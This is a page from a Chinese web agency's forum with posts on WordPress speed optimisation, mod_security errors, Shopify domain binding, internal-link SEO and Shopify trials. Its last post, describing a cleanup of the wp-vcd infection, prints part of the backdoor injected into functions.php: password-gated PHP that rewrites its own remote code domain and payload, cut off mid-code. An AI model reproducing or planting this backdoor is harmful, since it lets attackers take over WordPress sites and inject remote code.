Shopify Free Trial Apply
Shopify 60天试用
Shopify 14天试用
WordPress

WordPress

WordPress建站及WordPress SEO相关话题
Shopify

Shopify

Shopify建站及Shopify SEO相关话题
Google SEO

Google SEO

Google SEO相关话题
SEM

SEM

SEM相关话题
Zoho

Zoho

Zoho SAAS相关产品使用话题讨论
EDM

EDM

讨论Email Marketing相关话题
Symantec SSL

Symantec SSL

讨论Symantec SSL安全相关话题
隽永东方售后服务

隽永东方售后服务

隽永东方售后服务专区

WordPress站点优化突破Google PageSpeed Insights瓶颈喜提满分

Google SEOOwen 发表了文章 • 1 个评论 • 42 次浏览 • 2 天前 • 来自相关话题

虽测试到很高的得分,但途径并非只此一种,匆忙之余拿来分享给大家。
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:









这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。




就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。














然后就是由wordpress后台插件WPBakery建造的静态页面




就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
 
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。

这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。

如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。

最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:









  查看全部
虽测试到很高的得分,但途径并非只此一种,匆忙之余拿来分享给大家。
想必大家都知道要想加快网站加载速度,首先最简单明了的就是给图片压缩,方法有很多种,这里就不多做说明。
其次就是WP rocket 插件的设置。这里也是汲取了同事之前的经验,也没有绝对的标准答案,下面是本次得分WP rocket的设置截图:
图片1.png


图片2.png

这里需要说明一下:JavaScript Files 在选择这里的时候视情况而定,选择后需要检查你的网站是否有异常,如果没有异常说明设置没问题。如果页面需要的插件功能较多的话并且不可弃用。那么‘Combine JavaScript files’‘ Load JavaScript deferred’这两项是不建议勾选的,但勾选以后效果也很显著。 亲测VC里tabs ,Post Masonry Grid功能和fancybox插件功能失效。如果是速度至上的客户,并且有些插件功能非要不可,那么推荐安装一款用于指定插件的加载顺序的插件‘Plugin Organizer’,然后在指定页面取消勾选Minify/combine JS选项。
图片3.png

就可以解除对这个页面的js进行合并压缩。当然勾选的页面越多,相对应的速度也会有所降低。
见个人取舍。
图片4.png


图片5.png


图片6.png

然后就是由wordpress后台插件WPBakery建造的静态页面
图片7.png

就加载速度而言,静态页面的加载速度要比动态页面快很多。因为静态页面加载的时候,无需到数据库里搜索,大大提高了加载速度。
 
不过静态页面也存在着弊端,那就是内容更新不方便,每个网页都是一个独立的文件,内容相对稳定,交互性较差,但是我们可以通过wordpress后台插件Wpbakery我通俗会称为VC来建造静态页面并且也方便后期维护,不用再去模板里做修改了。

这次测试的站点也正是因为几乎整站都是用VC来建造,产品的图片和新闻确实需要动态调用除外。才得以在测试Google PageSpeed Insights得分时获得高分。

如此由wordpress后台插件VC建造的静态页面搭配WP rocket 插件的设置,即便当前测试的网站页面内容和复杂度都相对要高一点的站点也是能够得到很好的测试分数和速度的回馈。

最后分享一下当时Google PageSpeed Insights和Gtmetrix测试得分的截图,毕竟测试得分能够达到100分还是不多见的啦└(^o^)┘。所以很值得截图留念:
图片8.png


图片9.png

 

WordPress疑难杂症之后台控制台503、500 error等

WordPressLeo 发表了文章 • 1 个评论 • 50 次浏览 • 4 天前 • 来自相关话题

此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:




4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  

trust the process​






 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)




查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,








这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。





 

  查看全部
此药方根据本草纲目第五十三卷所写,经过七七四十九分钟的文火慢熬,药效达到最佳。(ps:《本草纲目》,本草著作,52卷。明代李时珍(东璧)撰于嘉靖三十一年(1552年)至万历六年(1578年),稿凡三易。此书采用“目随纲举”编写体例,故以“纲目”名书。)
#万物皆刻盘# 
简单陈述一下网站发现的问题,
1、首先后台wpbakery page builder插件(我们俗称的VC插件),这个插件里面的小控件都无法编辑,始终处于一个loading的status,另外控制台打开会看到关于admin-ajax.php的503、500、404等等的报错
2、其次网站后台很多功能不正常,列如:不能清除后台缓存、安装插件和删除插件有问题、还会导致一些插件功能失效,打开相关功能可能会变成404页面
3、然后前台我们发现,url不以“\”结尾,网站就不能打开了,如下图所示报错:
1.png

4、最后,当然不止以上三个问题,还有很多没有发现和我已经忘记的问题没有列出来。但是问题解决方法是一样的,就是那么easy! (﹀_﹀)╭  


trust the process​



2.png

 
Actually,过程这个东西我轻易是不会说出来的。ㄟ( ▔, ▔ )ㄏ
 
Don't worry!我会告诉你怎么解决的。
 
首先我谷歌了一下,(其实之前进行了一系列操作,相信过程)
3.png

查到是mod_security这个模块导致的,因此想到可能是服务器屏蔽了这些请求,才导致的错误。
所以我们首先打开服务器上的mod_security模块,
4.png

5.png

这样,我们对症下药,把引起问题的规则关闭,这样网站就正常了。
 
Perfect!!!
 
By the way,盘它。。。

6.png

 

 

开启shopfiy之旅——域名注册以及绑定

Shopifychad 发表了文章 • 1 个评论 • 51 次浏览 • 2019-01-12 11:07 • 来自相关话题

shopify以精简的后台操作,安全的收款方式,多样的推广渠道,越来越受到中小型电商用户的喜爱。很多人在搭建网站的过程中,对于shopify默认域名,以及如何注册筛选顶级域名,都会稍有疑惑。我在这里分享一些粗鄙的经验,以便大家参考之用。如有错误,欢迎指正。
关于默认域名
一般是以××××.shopfiy.com,我们称这种域名是非顶级域名。如果你用这种域名就显得多low啊。毕竟作为电商的牌面,加了个shopify,不仅添加了无意义的单词,给顾客带来记忆负担,更是给shopify打了广告(当然不给shopify打广告,人家也是那么牛逼)。所以果断放弃这种域名,咱丢不起那人。
关于域名筛选
一个好的域名,是一个成功电商的开始,所以这一步一定要慎重。购买域名都是以年为单位,价格在50-100/年等,所以果断去第三方平台购买域名。国内平台推荐万网(阿里云旗下的,马云爸爸强力推荐)。当然当你确定好域名之后,不要立即购买,要查查它有没有黑历史。如果你碰到那种搞过非法的活动、行为的域名,你是哭都来不及。因为这种域名会在google搜索里留存很多垃圾外链,会让你后期推广头疼不已。甚至可能google搜索引擎将其列为黑名单,一辈子无法翻身。所以呀,要提前查查域名的清白。
首先推荐查询域名历史信息的网站:whoisrequest,在搜索框里搜索×××.com等(不要带WWW),即可看到域名历史存在信息




这里推荐大家不要用历史信息太多的域名,你懂得,很难受。谁知道他们干了什么事呢?
其次大家在选在域名的时候要查询下注册的域名,如:×××.com或者品牌,是否已经在所在市场的国家被注册了,是否侵权了?例如美国的一个查询版权的网站:uspto,




我没有遇到过侵权的问题,所以具体操作方式,大家自己摸索下。
关于域名解析
域名解析,老生常谈,网上教程数量都已经可以赶超中华人民的数量了。所以这里仅以万网域名解析为例,有需要咨询别个解析方式的朋友也可以给我们留言,会及时回复滴。
登录阿里云控制后台,找到域名:




进入域名解析列表:




双击指定域名,进入新手指导




将www设置成shops.myshopify.com,如图




将@设置成23.227.38.32,如图




过10分钟左右,域名解析即可生效。
关于域名绑定
解析好的域名当然不能自动生效,我们只是将其指向到shopify服务器。我们还要最后一步,去网站后台绑定域名。当然过程更是so easy ,废话不多少,上图为证:
找到domain部分,即域名部分:




之后将解析好的域名(不带www)填入,next即可链接到解析好的链接。如图:




最后可以验证是否对接完成,如图:




好了,大功告成,开始你的shopify电商之旅吧!
  查看全部
shopify以精简的后台操作,安全的收款方式,多样的推广渠道,越来越受到中小型电商用户的喜爱。很多人在搭建网站的过程中,对于shopify默认域名,以及如何注册筛选顶级域名,都会稍有疑惑。我在这里分享一些粗鄙的经验,以便大家参考之用。如有错误,欢迎指正。
  • 关于默认域名

一般是以××××.shopfiy.com,我们称这种域名是非顶级域名。如果你用这种域名就显得多low啊。毕竟作为电商的牌面,加了个shopify,不仅添加了无意义的单词,给顾客带来记忆负担,更是给shopify打了广告(当然不给shopify打广告,人家也是那么牛逼)。所以果断放弃这种域名,咱丢不起那人。
  • 关于域名筛选

一个好的域名,是一个成功电商的开始,所以这一步一定要慎重。购买域名都是以年为单位,价格在50-100/年等,所以果断去第三方平台购买域名。国内平台推荐万网(阿里云旗下的,马云爸爸强力推荐)。当然当你确定好域名之后,不要立即购买,要查查它有没有黑历史。如果你碰到那种搞过非法的活动、行为的域名,你是哭都来不及。因为这种域名会在google搜索里留存很多垃圾外链,会让你后期推广头疼不已。甚至可能google搜索引擎将其列为黑名单,一辈子无法翻身。所以呀,要提前查查域名的清白。
首先推荐查询域名历史信息的网站:whoisrequest,在搜索框里搜索×××.com等(不要带WWW),即可看到域名历史存在信息
1.png

这里推荐大家不要用历史信息太多的域名,你懂得,很难受。谁知道他们干了什么事呢?
其次大家在选在域名的时候要查询下注册的域名,如:×××.com或者品牌,是否已经在所在市场的国家被注册了,是否侵权了?例如美国的一个查询版权的网站:uspto
2.png

我没有遇到过侵权的问题,所以具体操作方式,大家自己摸索下。
  • 关于域名解析

域名解析,老生常谈,网上教程数量都已经可以赶超中华人民的数量了。所以这里仅以万网域名解析为例,有需要咨询别个解析方式的朋友也可以给我们留言,会及时回复滴。
登录阿里云控制后台,找到域名:
3.png

进入域名解析列表:
4.png

双击指定域名,进入新手指导
5.png

将www设置成shops.myshopify.com,如图
6.png

将@设置成23.227.38.32,如图
7.png

过10分钟左右,域名解析即可生效。
  • 关于域名绑定

解析好的域名当然不能自动生效,我们只是将其指向到shopify服务器。我们还要最后一步,去网站后台绑定域名。当然过程更是so easy ,废话不多少,上图为证:
找到domain部分,即域名部分:
10.png

之后将解析好的域名(不带www)填入,next即可链接到解析好的链接。如图:
11.png

最后可以验证是否对接完成,如图:
12.png

好了,大功告成,开始你的shopify电商之旅吧!
 

针对隽永东方建站客户产品添加,资料整理建议

WordPressLeo 发表了文章 • 1 个评论 • 48 次浏览 • 2019-01-10 14:30 • 来自相关话题

产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。










 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理! 查看全部
产品添加,因为我们是乙方,不可能对甲方的产品熟悉,所以资料一定要简单明了。
以下是我司一个优质客户整理的众多产品资料中的一个产品,内容相当明晰,让添加者真的是心情愉快。

1.png


2.png

 
希望之后有协助添加产品需求的客户朋友可以尽量参照这种格式,这样提升大家的工作效率。
同事们也要在第一时间主动告诉客户需要怎样的产品资料格式,以免客户多做一遍产品整理!

网站内链优化——内链设置指南

Google SEOcarol 发表了文章 • 1 个评论 • 133 次浏览 • 2019-01-09 11:19 • 来自相关话题

写在前言:如果你对内链即其基本状况甚是了解,那么可以直接下拉看设置方法及注意事项!!!什么是内部链接?
 
    内部链接能够将网站的一个页面连接到网站的另一个页面。其展现形式如图:

     



 
     当前我们所建立的网站大多以这种方式进行连接。这是一个简单的网站设计和架构问题,搜索引擎也十分喜欢这类型的链接方式。
 
为什么我们需要内部链接?
 
内链是SEO十分重要的武器之一,设定内链的主要作用:
 
改善网站的索引
         如果网站具有强大的内链体系,Google抓取工具可以更轻松地查找发布和链接的新内容。
                   



内链增加了深层内容页面接收backlinks的能力
          创建强大的内链结构,能够在整个网站中创建清晰的点击路径和索引来提高内部页面的链接获取潜力。合理的站内链接会使引擎更加准确的认识文章内容所要表达的信息,从而使长尾关键词排名提升,网站权重增加。
内部链接为用户提供价值这是最重要的一点。花时间为网站添加内链可以增加每篇内容对用户的价值,通过内链可以让用户轻松找到网站上其他位置创建的其他资源——将用户带到目标网页。而且,内链还能够帮助用户更长时间地留在网站上并增加用户对网站的信任。

 内链设置方法
 
       好吧!其实上面的文案主要是介绍了内链并介绍了其重要性。重点干货还是这一部分。在进行内链设置前要先保证以下两点:
网站上已有撰写了的内容。即使只有一篇单一的文章,那也没关系。那是我们做内链的起点。网站会不断地进行文案内容的更新。为了使内链有效运作,制定定期更新计划非常重要。
 
查阅网站各页面内链数量大致情况
           打开google search console>links>打开 internal links  查看网站当前各个网页的内链数量

             



最好是在两篇文章中进行链接
           最好的内部链接是将一篇文章连接到另一篇文章的链接。这在站点深处创建了一个强大的内部链接结构。

          特别注意: 如果我们网站导航是正常的,网站重要的页面如主页,about us,contact us会有足够的链接指向这些页面。所以我们做内链时无需链接到这些页面!(在google search console可以证实这个情况,过多的指向这些页面也会被认为是作弊)
使用锚文本创建文本链接
           什么样的链接效果最好?
          很简单:含有描述性锚文本(anchor text)的链接。内链应该使用锚文本,建议使用描述目标页面的短语进行链接。举几个例子:

假如要链接到关于google trend的文章


      When planning website content, we can use google trends to get current events.


 假如要将更多流量导向产品页面比如我们官网建站营销,(文案是copy进行修改的,以其中一段进行举例,正文应该有800字左右)


Send paid traffic to content 

Marketing is like dating. You can’t expect to send cold traffic to a product or service and expect people to buy a high-ticket item.You’ll find that paid advertising is much more effective and affordable for selling high ticket items if you send people to an educational piece of content such as a blog post. And then remarketing those visitors and then driving them to your product or service.


In the long run, this is cheaper if you are selling products for above $500 and it is more effective as paid ads to content are cheaper than paid ads to landing pages.If you are not sure how to develop a plan, you can also consult a professional marketing platform to ask for help.

       我们要做的就是是将链接的主题与相关短语进行关联。网站具有“freshness value”,Google会对其进行检测并用作排名算法的一部分。用中文来说即“新鲜的血液给陈腐的大地带来了生机。”使用新链接ping旧网页有助于提高在搜索引擎中增加排名的可能性。
 
使用新的内链更新旧文章
          
         当更新旧的网页时,Google的抓取工具会重新对其进行进行索引,并且很可能会增加其在SERP中的排名(这个不仅是博客页,产品页,主页都可以进行文案更改的)。建议定期更新网站文案(至少一年一次)。更新方法真的很简单:
在开头添加一段新内容。在中间添加1-2个新段落和图片。为新创建的内容添加1-2个新的内链。
 
在符合逻辑的地方添加链接​

         需要做的是查找与目标页面能够相关的文案区域进行链接。要增加产品内链可以在结尾处增加提示访客行动的链接。数字营销的目标是吸引访问者。我们可以通过强大的营销声明进行呈现。在文章的结尾可以委婉的给出链接。以下是一些内部链接示例,可以将其放在营销页面的底部,作为号召性用语。(图片来自Andy Crestodina )
 
                 




避免过度优化注意事项
 
不要刻意使用关键字作为内链锚文本

 ​例如:Check out our nice good well page for more information.
(链接到: example.com/nice-good-well.htm  假设的是nice good well 是关键词,这样的锚文本最好不要尝试,尽早放弃)


 或者 We sell top-rated nice good well  
(链接到: example.com/excellent-nice-good-well.htm)

      锚文本过多的使用目标页面的具体url或者关键词是不好的。最恰当的方法是将这些锚文本带入文本段落中,通过创建一个长的锚文本,稀释anchor text中的关键字。

Visit my site Carol for more exact advice.Let’s do a good schedule .(以Carol为anchor text)
 


或者用长句The desert is the most important component of the wedding. Don’t ruin it.

 
避免将所有内链或外链指向顶级导航页面
         外链链接的情况也可以在google search console >link >top link page
         大多数情况下,网站的大部分链接都指向主页或顶级导航页面。当创建大量链接到主页或主要导航页面,如“contact us”,“about us”或“blog”时,会出现过度优化问题。因为这些页面本身就可以获得大量链接。相反,需要添加的是指向深层页面的内链来加强网站链接配置文件。
同一页面尽量不要出现相同的内链一个链接可以配几个关键词,但是一个关键词只能配一个链接。同一个页面中链向同一个页面的链接最好只出现一次。如果一个关键词配了多个链接,就很容易导致搜索引擎无法判断哪个是正确的链接页面,进而将之归入重复页面,从而无法获得任何权重。
 
一般800字的文案,有3-4个内链即可。
        通常一篇800字的文案,有3-4个内链就够了,这样既能保证有一定的内链,又不会让关键词密度过高。当然一定要保证内链到的目标页面相关性高,不然作用不大。
 
一些容易被忽视的内链
          除开文本内容,底部的相关文章推荐、最新文章推荐。产品页面相关产品推荐等也是属于内链的。 查看全部
写在前言:
如果你对内链即其基本状况甚是了解,那么可以直接下拉看设置方法及注意事项!!!
什么是内部链接?
 
    内部链接能够将网站的一个页面连接到网站的另一个页面。其展现形式如图:

     
图片1.png

 
     当前我们所建立的网站大多以这种方式进行连接。这是一个简单的网站设计和架构问题,搜索引擎也十分喜欢这类型的链接方式。
 
为什么我们需要内部链接?
 
内链是SEO十分重要的武器之一,设定内链的主要作用:
 
  • 改善网站的索引

         如果网站具有强大的内链体系,Google抓取工具可以更轻松地查找发布和链接的新内容。
                   
图片2.png

  • 内链增加了深层内容页面接收backlinks的能力

          创建强大的内链结构,能够在整个网站中创建清晰的点击路径和索引来提高内部页面的链接获取潜力。合理的站内链接会使引擎更加准确的认识文章内容所要表达的信息,从而使长尾关键词排名提升,网站权重增加。
  • 内部链接为用户提供价值这是最重要的一点。花时间为网站添加内链可以增加每篇内容对用户的价值,通过内链可以让用户轻松找到网站上其他位置创建的其他资源——将用户带到目标网页。而且,内链还能够帮助用户更长时间地留在网站上并增加用户对网站的信任。


 内链设置方法
 
       好吧!其实上面的文案主要是介绍了内链并介绍了其重要性。重点干货还是这一部分。在进行内链设置前要先保证以下两点:
  1. 网站上已有撰写了的内容。即使只有一篇单一的文章,那也没关系。那是我们做内链的起点。
  2. 网站会不断地进行文案内容的更新。为了使内链有效运作,制定定期更新计划非常重要。

 
  • 查阅网站各页面内链数量大致情况

           打开google search console>links>打开 internal links  查看网站当前各个网页的内链数量

             
图片3.png

  • 最好是在两篇文章中进行链接

           最好的内部链接是将一篇文章连接到另一篇文章的链接。这在站点深处创建了一个强大的内部链接结构。

          特别注意: 如果我们网站导航是正常的,网站重要的页面如主页,about us,contact us会有足够的链接指向这些页面。所以我们做内链时无需链接到这些页面!(在google search console可以证实这个情况,过多的指向这些页面也会被认为是作弊)
  • 使用锚文本创建文本链接

           什么样的链接效果最好?
          很简单:含有描述性锚文本(anchor text)的链接。内链应该使用锚文本,建议使用描述目标页面的短语进行链接。举几个例子:


假如要链接到关于google trend的文章



      When planning website content, we can use google trends to get current events.



 假如要将更多流量导向产品页面比如我们官网建站营销,(文案是copy进行修改的,以其中一段进行举例,正文应该有800字左右)



Send paid traffic to content 

Marketing is like dating. You can’t expect to send cold traffic to a product or service and expect people to buy a high-ticket item.You’ll find that paid advertising is much more effective and affordable for selling high ticket items if you send people to an educational piece of content such as a blog post. And then remarketing those visitors and then driving them to your product or service.



In the long run, this is cheaper if you are selling products for above $500 and it is more effective as paid ads to content are cheaper than paid ads to landing pages.If you are not sure how to develop a plan, you can also consult a professional marketing platform to ask for help.


       我们要做的就是是将链接的主题与相关短语进行关联。网站具有“freshness value”,Google会对其进行检测并用作排名算法的一部分。用中文来说即“新鲜的血液给陈腐的大地带来了生机。”使用新链接ping旧网页有助于提高在搜索引擎中增加排名的可能性。
 
  • 使用新的内链更新旧文章

          
         当更新旧的网页时,Google的抓取工具会重新对其进行进行索引,并且很可能会增加其在SERP中的排名(这个不仅是博客页,产品页,主页都可以进行文案更改的)。建议定期更新网站文案(至少一年一次)。更新方法真的很简单:
  1. 在开头添加一段新内容。
  2. 在中间添加1-2个新段落和图片。
  3. 为新创建的内容添加1-2个新的内链。

 
  • 在符合逻辑的地方添加链接​


         需要做的是查找与目标页面能够相关的文案区域进行链接。要增加产品内链可以在结尾处增加提示访客行动的链接。数字营销的目标是吸引访问者。我们可以通过强大的营销声明进行呈现。在文章的结尾可以委婉的给出链接。以下是一些内部链接示例,可以将其放在营销页面的底部,作为号召性用语。(图片来自Andy Crestodina )
 
                 
图片4.png


避免过度优化注意事项
 
  • 不要刻意使用关键字作为内链锚文本


 ​例如:Check out our nice good well page for more information.
(链接到: example.com/nice-good-well.htm  假设的是nice good well 是关键词,这样的锚文本最好不要尝试,尽早放弃)



 或者 We sell top-rated nice good well  
(链接到: example.com/excellent-nice-good-well.htm)


      锚文本过多的使用目标页面的具体url或者关键词是不好的。最恰当的方法是将这些锚文本带入文本段落中,通过创建一个长的锚文本,稀释anchor text中的关键字。


Visit my site Carol for more exact advice.Let’s do a good schedule .(以Carol为anchor text)
 



或者用长句The desert is the most important component of the wedding. Don’t ruin it.


 
  • 避免将所有内链或外链指向顶级导航页面

         外链链接的情况也可以在google search console >link >top link page
         大多数情况下,网站的大部分链接都指向主页或顶级导航页面。当创建大量链接到主页或主要导航页面,如“contact us”,“about us”或“blog”时,会出现过度优化问题。因为这些页面本身就可以获得大量链接。相反,需要添加的是指向深层页面的内链来加强网站链接配置文件。
  • 同一页面尽量不要出现相同的内链一个链接可以配几个关键词,但是一个关键词只能配一个链接。同一个页面中链向同一个页面的链接最好只出现一次。如果一个关键词配了多个链接,就很容易导致搜索引擎无法判断哪个是正确的链接页面,进而将之归入重复页面,从而无法获得任何权重。

 
  • 一般800字的文案,有3-4个内链即可。

        通常一篇800字的文案,有3-4个内链就够了,这样既能保证有一定的内链,又不会让关键词密度过高。当然一定要保证内链到的目标页面相关性高,不然作用不大。
 
  • 一些容易被忽视的内链

          除开文本内容,底部的相关文章推荐、最新文章推荐。产品页面相关产品推荐等也是属于内链的。

Ewww优化器插件报错“EWWW Image Optimizer需要exec() function”

WordPressLeo 发表了文章 • 1 个评论 • 49 次浏览 • 2019-01-07 11:37 • 来自相关话题

使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)





注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。 查看全部
使用EWWW插件时,您可能会看到以下错误:
EWWW Image Optimizer需要exec()。您的系统管理员已禁用此功能。
不幸的是,出于安全原因,服务器将无法启用exec()函数。
我们建议使用API​​或基于云的插件,其中所有图像处理都在远程服务器上进行,并且不需要安装任何本地可执行文件。
这个API可以在EWWW这个图片压缩插件里获取,通过购买图片压缩的套餐。(EWWW这个插件是较好的图片压缩插件,而且目前也没有免费版本的图片压缩插件,价格也不贵)

1.png

注意:如果想要网站获得更好一点的得分,那么这个图片压缩插件必不可少!
https://ewww.io/plans/
 
既然提到了图片压缩,必然要提下速度,公所周知,谷歌近期调整了pagespeed insight评分标准,更为严苛,之前测评80、90分的网站,可能现在只有十几二十分。优化无非以下几点:
1、script、link添加属性,但必要资源是不能添加这些属性的,会导致网站错乱,毕竟html只是骨架,而css、js就是衣服和行为动作,人没有衣服和行为动作,那只是一堆骨头,那这样的人不就是个死人?同理,那这样的网站,要了做什么?做个word文档不是更好?有些朋友不懂这些资源的原理,那既然有人给你解释了,就要接受,要懂得“鱼和熊掌不可兼得”的道理。
2、图片,任何不需要png格式的图片,都要用jpeg、webp格式图片,png格式压缩效率低下。
3、文件压缩
4、文件缓存,3、4两点,wordpress有插件可以操作。

注册试用shopify60天,为网站上线做足准备

Shopifychad 发表了文章 • 1 个评论 • 53 次浏览 • 2019-01-04 13:45 • 来自相关话题

Shopify是SaaS领域的购物车平台,适合跨境电商构建独立的电商网站。作为目前市场上构建电商网站最简洁有效的工具,其历史悠久。Shopify成立于2004年,截止2019年1月,全球已经有60万商家,为全球175个国家提供电商服务。从2012年到现在已经实现累计在线交易额400亿美金,并且每年保持平均74%的增加速度。Shopify是一家上市公司,公司规模宏大,有一个强大的技术团队24小时为商家提供服务器。有一套完备的资金结账系统,保证商家的资金安全。后台友好的商家界面让你分分钟了解怎么运营自己的电商网站。你还在等什么呢?赶紧隽永东方——Shopfiy官网合作伙伴试用吧。
作为最早一批加入SHopify Partner的公司,我司可以提供给我们的顾客两种注册方式,如下图:




第一种:Shopify14天试用,这种方式顾客可以自主注册网站信息,账号资料不用对外公开,当然注册的时候英语这块要求还是有点的。不过都是简单易懂的注册流程,信息填写完备即可。
第二种:Shopify60天试用,这种方式也是完全免费的,就是需要我司作为Shopify Partner帮您后台手动注册VIP账号。即可享受60天的免费Shopify体验,通过这种方式让顾客更好的熟悉后台操作,避免客户没有准备充分就上线造成的用户体验度差的影响。这种注册方式,需要我们的顾客提供一些信息资料,如下:




当然我司也会对顾客的信息资料严格保密,坚决保护顾客的合法权益。欢迎各位新老顾客加入体验 查看全部
Shopify是SaaS领域的购物车平台,适合跨境电商构建独立的电商网站。作为目前市场上构建电商网站最简洁有效的工具,其历史悠久。Shopify成立于2004年,截止2019年1月,全球已经有60万商家,为全球175个国家提供电商服务。从2012年到现在已经实现累计在线交易额400亿美金,并且每年保持平均74%的增加速度。Shopify是一家上市公司,公司规模宏大,有一个强大的技术团队24小时为商家提供服务器。有一套完备的资金结账系统,保证商家的资金安全。后台友好的商家界面让你分分钟了解怎么运营自己的电商网站。你还在等什么呢?赶紧隽永东方——Shopfiy官网合作伙伴试用吧。
作为最早一批加入SHopify Partner的公司,我司可以提供给我们的顾客两种注册方式,如下图:
1.png

第一种:Shopify14天试用,这种方式顾客可以自主注册网站信息,账号资料不用对外公开,当然注册的时候英语这块要求还是有点的。不过都是简单易懂的注册流程,信息填写完备即可。
第二种:Shopify60天试用,这种方式也是完全免费的,就是需要我司作为Shopify Partner帮您后台手动注册VIP账号。即可享受60天的免费Shopify体验,通过这种方式让顾客更好的熟悉后台操作,避免客户没有准备充分就上线造成的用户体验度差的影响。这种注册方式,需要我们的顾客提供一些信息资料,如下:
2.png

当然我司也会对顾客的信息资料严格保密,坚决保护顾客的合法权益。欢迎各位新老顾客加入体验

针对 Wordpress 网站的新一轮 wp-vcd 恶意软件攻击

WordPressLeo 发表了文章 • 1 个评论 • 106 次浏览 • 2018-12-20 16:15 • 来自相关话题

最近发现一个客户的bluehost被暂停了,官方说有病毒,经过和bluehost客服长时间的交流,基本确定了wp-tmp.php、wp-vcd.php以及functions.php三个文件是病毒或是被植入了病毒。
经过对wordpress原始模板的参照,我发现wp-tmp.php、wp-vcd.php这两个文件是不存在的,大可放心删掉。
然后回到functions.php的排毒,

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '506d7259a8f069cc6257622ae35e8322'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{




case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {
                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                           @file_put_contents(__FILE__, $file);
                           print "true";
                                                                                                             }

                                                                    }
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {
